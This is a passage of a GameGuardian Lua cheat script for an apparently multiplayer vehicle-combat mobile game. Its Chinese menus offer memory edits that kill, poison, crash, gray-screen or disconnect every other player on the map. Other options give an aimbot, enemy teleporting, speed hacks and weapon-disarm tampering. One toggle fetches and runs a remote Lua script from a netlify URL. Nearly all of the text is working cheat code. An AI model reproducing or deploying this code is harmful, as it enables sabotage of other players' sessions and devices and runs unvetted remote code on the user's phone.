gg.alert("1开局先选轮车,选中间这是单人选一个资源较多的地方开启开启后,周边的物资都会朝你袭来等待几分钟解体改装几下之后应用一下蓝图再次点击升空等待那个缓降结束下来之后,如果显示1000m就成功了\n2开局必须选轮车,记住一定是双人合作,不然开不了,有的时候运气好开启了,然后走几步,开启,周围的物资都会被你吸过来,然后让别人(队友)碰你一下,地图上就会显示1000M,这时候高度是-无限的,然后等待你被毒死,就生效了\n全图毒人效果,持续受到虚空风暴伤害,如果观战者视角卡住那么全体隐身,放置不了炮台,概率无法解体和改装,概率所有玩家起飞,概率玩家复活掉深渊,有概率让所有玩家应用不了蓝图,有概率让所有玩家不能解体,有概率让所有玩家腾飞,有概率让所有玩家掉虚空,有概率让所有玩家瞬间秒杀,\n开一把无限擂台肌肉标准都行然后弄三个磁包车之后出生后开启不要解体也不要改装等他上天之后,过几分钟或过几秒试试开磁暴技能能不能独岛人如果可以,那就成了") end },{ "[so.值]开启后无法关闭自作自受", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0xD81098, 0x724, 0x8, 0xCC} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = -99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999, freeze = true}}) end },{ "[基值]开启有可能关闭,有可能不能关闭", function() drw() search(17039364,4,-2080896) py1(16777215,4,-40) py1(257,4,-36) xg1(-99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999,16,96,true) end }, }), changan.switch("飞升毒人", function() drw() gg.alert("娃哈哈,我也要是飞升了好吧解体或任意可以移动的车在一个空地随便移动,他会速度越来越快,解体的话可以跳一下直接飞升,有两种状态,一种是9万开头的,另一种是1,000万开头的,两个各不相同,有概率飞上去自己直接掉入虚空,然后直接卡爆全场,有概率失败") gg.clearResults() gg.setRanges(16384) gg.searchNumber("981,668,463", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("3,165,390,897", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(16384) gg.searchNumber("3,165,390,897", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("981,668,463", gg.TYPE_QWORD) end), changan.switch("移动毒人", function() drw() so=gg.getRangesList('libclient.so')[1].start py=0xb0e7b8 setvalue(so+py,16,0.00050000002) end, function() drw() so=gg.getRangesList('libclient.so')[1].start py=0xb0e7bc setvalue(so+py,16,0.00100000005) end), changan.switch("毒人3.0", function() drw() gg.alert("直接开就行") if gg.getRangesList("libclient.so:bss")[1] then local t = {} t[1] = gg.getRangesList("libclient.so:bss")[1]["start"] + 0x425FB0; -- 数值地址:0xC3C5CFB0 gg.setValues({ [1] = { address = t[1], flags = 16, value = 0, }, }) end end, function() drw() if gg.getRangesList("libclient.so:bss")[1] then local t = {} t[1] = gg.getRangesList("libclient.so:bss")[1]["start"] + 0x425FB0; -- 数值地址:0xC3C5CFB0 gg.setValues({ [1] = { address = t[1], flags = 16, value = 30, }, }) end end), changan.switch("死亡秒毒", function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(10, 16, 96, false) search(17039364,4,4) py1(16777215, 4, -40) py1(257, 4, -36) xg1(-9999999, 16, 76, true) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("-999", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("1", gg.TYPE_FLOAT) search(17039364, 4, 4) py1(16777215, 4, -40) py1(257, 4, -36) xg1(1, 16, 96, false) end), changan.switch("闪退毒人", function() drw() xtnb({{false,-4593671619917905920,0,32,nil,nil},{17039364,-20,32},{0,-16,32},{0,-12,32},{4575657221408423936,-8,32},{1065353216,-4,32},{3225419776,4,32},{4474776591473311744,8,32}},{{-1,-20,32,false}},32,4,"f") end, function() drw()xtnb({{false,-4593671619917905920,0,32,nil,nil},{-1,-20,32},{0,-16,32},{0,-12,32},{4575657221408423936,-8,32},{1065353216,-4,32},{3225419776,4,32},{4474776591473311744,8,32}},{{17039364,-20,32,false}},32,4,"f") end), changan.switch("全图毒人por", function() drw() search(17039364,4,4)py1(16777215,4,-40)py1(257,4,-36)xg1(-9.99999968e37,16,96,true) XGBase( {gg.getRangesList('libclient.so')[1].start}, { {99,16,0xB25DC8}, }) end, function() drw() search(17039364,4,4)py1(16777215,4,-40)py1(257,4,-36)xg1(1,16,96,false) XGBase( {gg.getRangesList('libclient.so')[1].start}, { {1.3229032e-22,16,0xB25DC8}, }) end), changan.switch("讯飞毒人", function() drw() fw1 = false gg.clearResults() gg.setRanges(16384) gg.searchNumber("981,668,463", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("-981,668,463", gg.TYPE_QWORD) end, function() drw() fw1 = false gg.clearResults() gg.setRanges(16384) gg.searchNumber("-981,668,463", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("981,668,463", gg.TYPE_QWORD) end), }), changan.box({"全图刀人[隐身]", changan.radio({ "请先读说明", { "使用说明必读", function() drw() gg.alert("解体后往前走走不动即可应用一下,然后放炮台然后自爆或者让别人打死你再随便找个车复活就行了这个可以免疫任何伤害不免疫磁暴冰冻,免疫秒杀范围,按以上方法开启后,敌人自曝后会自动倒人,不要移动摇杆不然会灰屏") end },{ "开启", function() drw() search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,true) xg1(-114514,4,84,true) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,100,true) end },{ "关闭", function() drw() search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,false) xg1(-114514,4,84,false) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,100,false) end }, }), changan.box({"全图刀人{破解隐身}", changan.radio({ "请先读说明", { "使用说明必读", function() drw() gg.alert("解体后往前走走不动即可应用一下,移动摇杆,直到灰屏或升到一亿米高空,直到不行,核心技能点不动为止,然后它会自动掉入虚空,如果没有掉入虚空请自爆,然后不要关闭,之后敌人的隐身效果就会解除,可以打到他了,然后关闭出站后重置画质即可") end },{ "开启", function() drw() fw1 = false gg.clearResults() gg.setRanges(16384) gg.searchNumber("981,668,463", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("-981,668,463", gg.TYPE_QWORD) end },{ "关闭", function() drw() fw1 = false gg.clearResults() gg.setRanges(16384) gg.searchNumber("-981,668,463", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("981,668,463", gg.TYPE_QWORD) end }, }), }), }), changan.box({"全图刀人(观战力刀)", changan.radio({ "请先读说明", { "使用说明必读", function() drw() gg.alert("解体后往前走走不动即可应用一下,然后放炮台移动摇杆,然后自曝或等待被毒死") end },{ "开启", function() drw() fw1 = false search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55, 11, 100, true) gg.toast("请在三秒内解体放炮台!!!") gg.sleep(25000) gg.clearResults() gg.setRanges(16384) gg.searchNumber("981,668,463", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("-981,668,463", gg.TYPE_QWORD) end },{ "关闭", function() drw() fw1 = false gg.clearResults() gg.setRanges(16384) gg.searchNumber("-981,668,463", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("981,668,463", gg.TYPE_QWORD) search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55, 11, 100, false) end }, }), }), changan.box({"全图刀人[杀戮]", changan.radio({ "请先读说明", { "使用说明必读", function() drw() gg.alert("解体后往前走走不动即可应用一下,然后跳一下再改装或修复然后放炮台即可,开机后不要移动摇杆,不然灰屏") end },{ "开启", function() drw() fw1 = false search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55, 11, 100, true) end },{ "关闭", function() drw() fw1 = false search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(0, 11, 100, true) end }, }), }), changan.box({"全图刀人[秒杀]", changan.radio({ "请先读说明", { "使用说明必读", function() drw() gg.alert("解体后往前走走不动即可应用一下,然后跳一下再改装或修复然后放炮台即可,开机后不要移动摇杆,不然灰屏,他不能当做观看刀人使用,不然秒杀速度非常慢") end },{ "开启", function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,92,true) xg1(-55,4,84,true) xg1(-111,4,102,true) xg1(-55,4,12,true) xg1(-111,4,100,true) end },{ "关闭", function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(0,4,92,false) xg1(0,4,84,false) xg1(0,4,102,false) xg1(0,4,12,false) xg1(0,4,100,false) end }, }), }), changan.box({"全图刀人[普通]", changan.radio({ "请先读说明", { "使用说明必读", function() drw() gg.alert("开启刀人,解体跳起来修复放炮台,移动摇杆屏幕变灰以后,点一下改装按钮,然后点两下升空,别人看到你消失之后就成功了,如果没消失,点关闭,然后打开设置点复位就关闭成功") end },{ "开启", function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(0,16,16,true) end },{ "关闭", function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(1,16,16,false) end }, }), }), changan.box({"全图刀人[引路]", changan.switch("全图刀人", function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,92,true) xg1(-110,4,84,true) end , function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,92,false) xg1(-110,4,84,false) end), changan.switch("全图刀人[f半卡]", function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,92,true) xg1(-250,4,84,true) end , function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,92,false) xg1(-250,4,84,false) end), }), changan.box({"全图灰屏", changan.switch("全图灰屏1.0", function() drw() fw1 = false search(1.3872854796815689E-43, 16, 16) py1(3.60133705331478E-43, 16, -16) py1(9.183549615799121E-41, 16, 4) xg1(0, 16, 384, false) loadYunLua("https://huanjienb.netlify.app/8888_o.lua") end , function() drw() fw1 = false search(1.3872854796815689E-43, 16, 16) py1(3.60133705331478E-43, 16, -16) py1(9.183549615799121E-41, 16, 4) xg1(0, 16, 384, false) loadYunLua("https://huanjienb.netlify.app/8888_o.lua") end), changan.switch("全图灰屏2.0", function() drw() fw1 = false end , function() drw() fw1 = false end), }), changan.box({"全图卡人", changan.switch("全图卡人", function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-250,4,92,true) xg1(-250,4,84,true) end , function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-250,4,92,false) xg1(-250,4,84,false) end), }), changan.box({"全图离线[优化]", changan.switch("全图离线", function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-10,4,92,true) xg1(-10,4,84,true) end , function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-10,4,92,false) xg1(-10,4,84,false) end), }), changan.box({"全图闪退", changan.switch( "全图闪退", function() drw() search(1.3872854796815689E-43,16,16) py1(3.60133705331478E-43,16,-16) py1(9.183549615799121E-41,16,4) xg1(-99999999999999,16,384,true) end, function() drw() search(1.3872854796815689E-43,16,16) py1(3.60133705331478E-43,16,-16) py1(9.183549615799121E-41,16,4) xg1(30,16,384,false) end), }), changan.box({"全图磁暴", changan.radio({ "可能关闭不了", { "全图磁暴", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0xD81098, 0x724, 0x8, 0xCC} local ttt = S_Pointer(t, tt) gg.addListItems({{address = ttt, flags = 16, value = -99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999, freeze = true}}) end },{ "关闭", function() drw() search(17039364,4,-2080896) py1(16777215,4,-40) py1(257,4,-36) xg1(-99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999,16,96,true) end }, }), }), changan.box({"全图自研[吸人]", changan.radio({ "请先读说明", { "使用说明必读", function() drw() gg.alert("开启后敌人会被传送到你身上且会固定在那个位置不动是全图的敌人都会这样的,只需要用机枪打即可,其他的打不了") end },{ "传送", function() drw() fw1 = false Memorys=4 qhw=2 zzmw={1, 17039364, 3} coordinateTable={} function ss() gg.setRanges(Memorys) gg.clearResults() gg.searchNumber(zzmw[qhw], gg.TYPE_QWORD) local k=gg.getResults(100) local l=gg.getValues(k) local decimalNumber=l[1].address local hexNumber=string.format("%X", decimalNumber) gg.searchAddress(""..hexNumber.."") decimalNumber=tonumber("0x"..hexNumber) local addressy=decimalNumber-8 local addressx=decimalNumber-12 local addressz=decimalNumber-4 local kx=gg.getValues({{address=""..string.format("0x%X", addressy).."", flags=16, value= nil }}) local xkx=gg.getValues({{address=""..string.format("0x%X", addressx).."", flags=16, value= nil }}) local zkx=gg.getValues({{address=""..string.format("0x%X", addressz).."", flags=16, value= nil }}) coordinateTable.x=xkx[1].value coordinateTable.y=kx[1].value coordinateTable.z=zkx[1].value end function executeModify() ss() local qmnb={{['memory']=4}, {['name']='全图西人'}, {['value']=17039361, ['type']=32}, {['lv']=17039617, ['offset']=-320, ['type']=4}, {['lv']=0, ['offset']=-52, ['type']=4}, {['lv']=16777215, ['offset']=-40, ['type']=4}, {['lv']=257, ['offset']=-36, ['type']=4}, } local qmxg={{['value']=coordinateTable.x, ['offset']=-12, ['type']=16, ['freeze']= true }, {['value']=coordinateTable.y, ['offset']=-8, ['type']=16, ['freeze']= true }, {['value']=coordinateTable.z, ['offset']=-4, ['type']=16, ['freeze']= true }, {['value']=coordinateTable.x, ['offset']=164, ['type']=16, ['freeze']= true }, {['value']=coordinateTable.y, ['offset']=168, ['type']=16, ['freeze']= true }, {['value']=coordinateTable.z, ['offset']=172, ['type']=16, ['freeze']= true }, } xqmnb(qmnb, qmxg) end function xqmnb(Search, Modification) gg.clearResults() gg.setRanges(Search[1].memory) gg.searchNumber(Search[3].value, Search[3].type, false , 536870912, 0, -1) if gg.getResultCount()==0 then return end local Result=gg.getResults(gg.getResultCount()) local sum for index=4, #Search do sum=0 for i=1, #Result do if gg.getValues({{address=Result[i].address+Search[index].offset, flags=Search[index].type}})[1].value~=Search[index].lv then Result[i].Usable= true sum=sum+1 end end if sum==#Result then return end end local Data, Freeze, Freezes={}, {}, 0 sum=0 for index, value in ipairs(Modification) do for index=1, #Result do if not Result[index].Usable then local Value={address=Result[index].address+value.offset, flags=value.type, value=value.value, freeze= true } if value.freeze then Freeze[#Freeze+1]=Value Freezes=Freezes+1 else Data[#Data+1]=Value end sum=sum+1 end end end gg.setValues(Data) gg.addListItems(Freeze) end executeModify() end }, }), }), }), changan.box({"自瞄区", changan.radio({ { "榴弹大蛇", function() drw() ZX=-3.115 ZY=40 end }, { "8倍狙击枪", function() drw() ZX=-3.14 ZY=25 end }}), changan.seek('偏移(推荐20∽30)','ZY',-50,250,25),--名字,变量名,最小,最大,初始 changan.seek('轴偏移(不要调或者5)','ZX',-30,90,3),--名字,变量名,最小,最大,初始 changan.radio({ { "启动", function() drw() ss() dd() hqsj() CT=true while CT do Dyz=gg.getValues({{ address= ""..Dy.."",flags=16,value=null }})--获取y坐标值 Dxz=gg.getValues({{ address= ""..Dx.."",flags=16,value=null }})--获取x坐标值 Dzz=gg.getValues({{ address= ""..Dz.."",flags=16,value=null }})--获取z坐 aimpos = {Dxz[1].value,Dyz[1].value,Dzz[1].value} kx=gg.getValues({{ address= ""..y.."",flags=16,value=null }})--获取y坐标值 xkx=gg.getValues({{ address= ""..x.."",flags=16,value=null }})--获取x坐标值 zkx=gg.getValues({{ address= ""..z.."",flags=16,value=null }})--获取z坐标值 player = { xkx[1].value, kx[1].value, zkx[1].value} sjaddrX=(WDD["dzX"]) sjaddrY=(WDD["dzY"]) sjaddr = {sjaddrX,sjaddrY} --算法 xy=aimpos[1]*player[1] local disx, disy, disz = aimpos[1] - player[1], (aimpos[2]- 1) - player[2], aimpos[3] - player[3] --[[ 榴弹大蛇 x=-3.115 y=40 8倍狙 -3.14 25 ]] local dis=math.sqrt(disx*disx+disz*disz) local radtodegx = ZX/ math.pi local radtodegy = ZY/ math.pi local sjx=-(radtodegx*math.atan2(disx,disz)) local sjy=-(radtodegy*math.atan2(disy,dis)) gg.setRanges(Memorys) gg.setValues( { { address = sjaddr[1], flags = gg.TYPE_FLOAT, value = sjx }, { address = sjaddr[2], flags = gg.TYPE_FLOAT, value = sjy } } ) end end }, { "关闭", function() drw() CT=false end }, }), }), changan.box({"加速", changan.switch("大力神加速", function () search(5381523328,32,4,false) xg1(2.5,16,64,false) end, function () search(5381523328,32,4,false) xg1(2,16,64,false) end), changan.switch("丝滑加速[削弱]", function () 移速=false search(17039364,4,neicun) py1(16777215, 4, -36) py1(257, 4, -32) xg1(-0.50,16,76,true) end, function () search(17039364,4,neicun) py1(16777215, 4, -36) py1(257, 4, -32) xg1(-0.35,16,76,false) end), changan.switch("磁悬浮加速", function () 移速=false search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(5,16,92,true) xg1(5,16,84,true) end, function () search(17039364,4,neicun) py1(16777215, 4, -36) py1(257, 4, -32) xg1(-0.35,16,76,false) end), changan.switch("物理加速", function () 移速=false search(17039364,4,neicun) py1(16777215, 4, -36) py1(257, 4, -32) xg1(-0.50,16,76,true) end, function () search(17039364,4,neicun) py1(16777215, 4, -36) py1(257, 4, -32) xg1(-0.35,16,76,false) end), changan.switch("光速加速", function () search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(-99999,16,76,true) end, function () 移速=false search(17039364,4,neicun) py1(16777215, 4, -36) py1(257, 4, -32) xg1(-0.35,16,76,false) end), changan.switch("细微加速", function () search(1072693248,4,neicun) py1(745,4,-20) xg1(1.9,64,-28,true) end, function () search(1072693248,4,neicun) py1(745,4,-20) xg1(0.8,64,-28,false) end), }), changan.box({"枪械缴械", changan.check({ { "大力神", function() drw() sleep(120) xtnb({{false,9.31659984588623,0,16,nil,nil}, {9.210000038146973,-4,16}, {9.896499633789062,4,16}, {0.0,8,16} },{ {999.210000038146973,-4,16,false}, {999.31659984588623,0,16,false}, {999.896499633789062,4,16,false} },16,4,"大力神缴械") end, function() drw() xtnb({{false,999.31659984588623,0,16,nil,nil}, {999.210000038146973,-4,16}, {999.896499633789062,4,16}, {0.0,8,16} },{ {9.210000038146973,-4,16,false}, {9.31659984588623,0,16,false}, {9.896499633789062,4,16,false} },16,4,"大力神缴械关") end }, { "机枪", function() drw() sleep(120) xtnb({{false,8.913999557495117,0,16,nil,nil},{8.227700233459473,4,16},{10.25059986114502,8,16},{1.0,12,16}},{{888.913999557495117,0,16,false},{888.227700233459473,4,16,false},{1000.25059986114502,8,16,false}},16,4,"机枪缴械") end, function() drw() xtnb({{false,888.913999557495117,0,16,nil,nil},{888.227700233459473,4,16},{1000.25059986114502,8,16},{1.0,12,16}},{{8.913999557495117,0,16,false},{8.227700233459473,4,16,false},{10.25059986114502,8,16,false}},16,4,"机枪缴械") end },{ "激光", function() drw() sleep(120) xtnb({{false,9.188400268554688,0,16,nil,nil},{6.719399929046631,4,16},{6.669600009918213,8,16},{0.0,12,16}},{{999.188400268554688,0,16,false},{1666.719399929046631,4,16,false},{1666.669600009918213,8,16,false}},16,4,"激光缴械") end, function() drw() sleep(120) xtnb({{false,999.188400268554688,0,16,nil,nil},{1666.719399929046631,4,16},{1666.669600009918213,8,16},{0.0,12,16}},{{9.188400268554688,0,16,false},{6.719399929046631,4,16,false},{6.669600009918213,8,16,false}},16,4,"激光缴械no") end },{ "磁暴", function() drw() sleep(120) xtnb({{false,8.98840045928955,0,16,nil,nil},{13.034299850463867,4,16},{12.887700080871582,8,16},{1.0,12,16}},{{888.98840045928955,0,16,false},{1333.034299850463867,4,16,false},{1222.887700080871582,8,16,false}},16,4,"磁爆缴械") end, function() drw() xtnb({{false,888.98840045928955,0,16,nil,nil},{1333.034299850463867,4,16},{1222.887700080871582,8,16},{1.0,12,16}},{{8.98840045928955,0,16,false},{13.034299850463867,4,16,false},{12.887700080871582,8,16,false}},16,4,"磁爆缴械关") end },{ "护盾", function() drw() sleep(120) xtnb({{false,4.0507001876831055,0,16,nil,nil},{4.0507001876831055,0,16},{4.6645002365112305,8,16},{0.0,12,16}},{{1444.0507001876831055,0,16,false},{1444.0507001876831055,0,16,false},{1444.6645002365112305,8,16,false}},16,4,"护盾缴械") end, function() drw() sleep(120) xtnb({{false,1444.0507001876831055,0,16,nil,nil},{1444.0507001876831055,0,16},{1444.6645002365112305,8,16},{0.0,12,16}},{{4.0507001876831055,0,16,false},{4.0507001876831055,0,16,false},{4.6645002365112305,8,16,false}},16,4,"护盾缴械no") end },{ "天行者", function() drw() xtnb({{false,7.691100120544434,0,16,nil,nil},{8.28849983215332,4,16},{10.892000198364258,8,16},{1.0,12,16}},{{777.691100120544434,0,16,false},{888.28849983215332,4,16,false},{1000.892000198364258,8,16,false}},16,4,"天行者缴械") end, function() drw() sleep(120) xtnb({{false,777.691100120544434,0,16,nil,nil},{888.28849983215332,4,16},{1000.892000198364258,8,16},{1.0,12,16}},{{7.691100120544434,0,16,false},{8.28849983215332,4,16,false},{10.892000198364258,8,16,false}},16,4,"天行者缴械no") end },{ "启明", function() drw() sleep(120) xtnb({{false,10.19789981842041,0,16,nil,nil},{10.19789981842041,4,16},{10.19789981842041,8,16},{0.0,12,16}},{{1000.19789981842041,0,16,false},{1000.19789981842041,4,16,false},{1000.19789981842041,8,16,false}},16,4,"终极大招缴械") end, function() drw() sleep(120) xtnb({{false,1000.19789981842041,0,16,nil,nil},{1000.19789981842041,4,16},{1000.19789981842041,8,16},{0.0,12,16}},{{10.19789981842041,0,16,false},{10.19789981842041,4,16,false},{10.19789981842041,8,16,false}},16,4,"终极大招缴械no") end },{ "轮子", function() drw() xtnb({{false,9.132800102233887,0,16,nil,nil},{8.592900276184082,4,16},{9.036499977111816,8,16},{1.0,12,16}},{{999.132800102233887,0,16,false},{888.592900276184082,4,16,false},{999.036499977111816,8,16,false}},16,4,"轮子缴械") end, function() drw() sleep(120) xtnb({{false,999.132800102233887,0,16,nil,nil},{888.592900276184082,4,16},{999.036499977111816,8,16},{1.0,12,16}},{{9.132800102233887,0,16,false},{8.592900276184082,4,16,false},{9.036499977111816,8,16,false}},16,4,"轮子缴械no") end },{ "穿云", function() drw() sleep(120) xtnb({{false,11.614899635314941,0,16,nil,nil}, {9.922300338745117,-8,16}, {7.720600128173828,-4,16}, {0.0,4,16} },{ {999.922300338745117,-8,16,false}, {777.720600128173828,-4,16,false}, {1111.614899635314941,0,16,false} },16,4,"穿云缴械") end, function() drw() sleep(120) xtnb({{false,1111.614899635314941,0,16,nil,nil}, {999.922300338745117,-8,16}, {777.720600128173828,-4,16}, {0.0,4,16} },{ {9.922300338745117,-8,16,false}, {7.720600128173828,-4,16,false}, {11.614899635314941,0,16,false} },16,4,"穿云缴械no") end },{ "火器", function() drw() sleep(120) xtnb({{false,21.690799713134766,0,16,nil,nil},{19.002899169921875,4,16},{17.172199249267578,8,16},{1.0,12,16}},{{2111.690799713134766,0,16,false},{1999.002899169921875,4,16,false},{1777.172199249267578,8,16,false}},16,4,"喷火器缴械") end, function() drw() sleep(120) xtnb({{false,2111.690799713134766,0,16,nil,nil},{1999.002899169921875,4,16},{1777.172199249267578,8,16},{1.0,12,16}},{{21.690799713134766,0,16,false},{19.002899169921875,4,16,false},{17.172199249267578,8,16,false}},16,4,"喷火器缴械no") end },{ "大方", function() drw() sleep(120) xtnb({{false,10.077400207519531,0,16,nil,nil},{10.077400207519531,4,16},{10.077400207519531,8,16},{1.0,12,16}},{{1000.077400207519531,0,16,false},{1000.077400207519531,4,16,false},{1000.077400207519531,8,16,false}},16,4,"大型方块缴械") end, function() drw() sleep(120) xtnb({{false,1000.077400207519531,0,16,nil,nil},{1000.077400207519531,4,16},{1000.077400207519531,8,16},{1.0,12,16}},{{10.077400207519531,0,16,false},{10.077400207519531,4,16,false},{10.077400207519531,8,16,false}},16,4,"大型方块缴械no") end },{ "腾跃", function() drw() sleep(120) xtnb({{false,8.791099548339844,0,16,nil,nil},{7.075399875640869,4,16},{10.954500198364258,8,16},{0.0,12,16}},{{888.791099548339844,0,16,false},{777.075399875640869,4,16,false},{1000.954500198364258,8,16,false}},16,4,"腾跃缴械") end, function() drw() sleep(120) xtnb({{false,888.791099548339844,0,16,nil,nil},{777.075399875640869,4,16},{1000.954500198364258,8,16},{0.0,12,16}},{{8.791099548339844,0,16,false},{7.075399875640869,4,16,false},{10.954500198364258,8,16,false}},16,4,"腾跃缴械no") end },{ "终极大盾", function() drw() sleep(120) xtnb({{false,7.780399799346924,0,16,nil,nil},{20.316699981689453,4,16},{9.354499816894531,8,16},{0.0,12,16}},{{777.780399799346924,0,16,false},{2000.316699981689453,4,16,false},{999.354499816894531,8,16,false}},16,4,"终极大盾缴械") end, function() drw() sleep(120) xtnb({{false,777.780399799346924,0,16,nil,nil},{2000.316699981689453,4,16},{999.354499816894531,8,16},{0.0,12,16}},{{7.780399799346924,0,16,false},{20.316699981689453,4,16,false},{9.354499816894531,8,16,false}},16,4,"终极大盾缴械no") end },{ "螺旋桨", function() drw() sleep(120) xtnb({{false,10.114299774169922,0,16,nil,nil},{9.484100341796875,4,16},{14.326499938964844,8,16},{0.0,12,16}},{{1000.114299774169922,0,16,false},{999.484100341796875,4,16,false},{1444.326499938964844,8,16,false}},16,4,"螺旋桨缴械") end, function() drw() sleep(120) xtnb({{false,1000.114299774169922,0,16,nil,nil},{999.484100341796875,4,16},{1444.326499938964844,8,16},{0.0,12,16}},{{10.114299774169922,0,16,false},{9.484100341796875,4,16,false},{14.326499938964844,8,16,false}},16,4,"螺旋桨缴械") end }, }), }), },{---UI设置 changan.box({"万物改", changan.text("此为超级高级功能\n只有开发者会\n初始化会有概率闪退",0xFFCABFFA,"20sp"), changan.box({"查看转换配料表", changan.text("魔方2010 斜面2020 棱锥2030 缺角2040 透明块2050 漫步3100 履带3200 海王盾5050 大力神10010 自瞄炮4020 机枪4040 狙4050 转头5010 巨剑5020 隐身11010 炮台11020 烟雾11030 分身11040 雷达9010 喇叭10210 滑翔翼 12020 巨人12030 灯箱12040 小型前挡流板12050 骰子12090 尾翼_支架12060 尾翼_梁翼12070 尾翼_风翼12080 螺旋桨12100",0xFFCABFFA,"9sp"), }), changan.box({"使用说明", changan.text("请先初始化,在配料表中选好自己想改的模块,然后输入到冻结配料里面,冻结配料完毕后,再点击转换ID输入之前冻结配料也就是自己选好的,如果想关闭就点转换原值输入冻结配料,也就是自己选好的就可以了",0xFFCABFFA,"10sp"), }), changan.edit("输入冻结配料"), changan.button("初始化(不初始化会关闭不了)", function() drw() local tmp=changan.getedit("输入冻结配料"), gg.sleep(300) gg.clearResults() gg.setRanges(4) gg.searchNumber(tmp, gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) jg=gg.getResults(1000) sl=gg.getResultCount() for i = 1, sl do dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = tmp}}) end end), changan.edit("输入想改的配料"), changan.button("转换原值", function() drw() local tmp1=changan.getedit("输入想改的配料"), gg.sleep(300) gg.clearResults() gg.setRanges(4) gg.searchNumber(tmp1, gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("2010", gg.TYPE_DWORD) end), changan.edit("输入转换配料id"), changan.button("转换ID", function() drw() local tmp2=changan.getedit("输入转换配料id"), gg.sleep(300) gg.clearResults() gg.setRanges(4) gg.searchNumber("2010", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll(tmp2, gg.TYPE_DWORD) end), }), changan.button('强制90帧', function() luajava.newThread(function() HK() search(17,4,neicun) py1(119,4,-268) py1(1065353216,4,-240) py1(1065353216,4,-236) py1(1065353216,4,-232) py1(1065353216,4,-228) py1(119,4,-196) py1(16,4,-20) py1(17,4,-16) py1(17,4,0) xg1(9999,4,-252,true) end):start() end), changan.button('强制120帧', function() luajava.newThread(function() HK() function S_Pointer(t_So, t_Offset, _bit) local function getRanges() local ranges = {} local t = gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti = gg.getTargetInfo() local S_list = getRanges() local _Q = tonumber(0x167ba0fe) local t = {} local _t local _S = nil if ti_bit then _t = 32 else _t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then _S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then S[_].value = S[_].value & 0xFFFFFFFF end t[#t + 1] = {} t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end _S = t[#t].address print(string.char(231,190,164,58).._Q) end return _S end local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end local t = {"libclient.so:bss", "Cb"} local tt = {0xFC, 0xC} local ttt = S_Pointer(t, tt) 